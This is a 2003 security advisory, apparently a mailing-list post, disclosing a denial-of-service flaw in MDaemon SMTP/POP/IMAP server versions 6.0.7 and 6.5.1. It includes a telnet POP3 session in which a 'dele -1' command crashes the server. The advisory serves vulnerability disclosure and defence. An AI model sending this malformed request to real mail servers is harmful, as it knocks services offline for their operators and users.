[NT] MDaemon SMTP/POP/IMAP Server DELE and UIDL DoS (Negative Value)

From: SecuriTeam (support_at_securiteam.com)
Date: 04/30/03

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Date: 30 Apr 2003 12:08:28 +0200

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      MDaemon SMTP/POP/IMAP Server DELE and UIDL DoS (Negative Value)
    ------------------------------------------------------------------------

    SUMMARY

    MDaemon Server v6 "brings SMTP/POP/IMAP and MIME mail services commonplace
    on UNIX hosts and the Internet to Windows based servers and
    microcomputers. MDaemon is designed to manage the email needs of any
    number of individual users and comes complete with a powerful set of
    integrated tools for managing mail accounts and message formats". A
    vulnerability in the product allows remote attackers to cause the product
    to crash by sending it a malformed DELE request.

    DETAILS

    Vulnerable systems:
     * MDaemon SMTP/POP/IMAP server version 6.0.7
     * MDaemon SMTP/POP/IMAP server version 6.5.1

    Example:
    telnet 127.0.0.1 110

    +OK dark POP MDaemon ready using UNREGISTERED SOFTWARE 6.0.7
    <MDAEMON-F200303080
    224.AA2418601MD5635@dark>
    user dark
    +OK dark... Recipient ok
    pass ******
    +OK dark@dark's mailbox has 13 total messages (2274775 octets).
    dele -1

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:wpratt@megapath.net> William
    Pratt.

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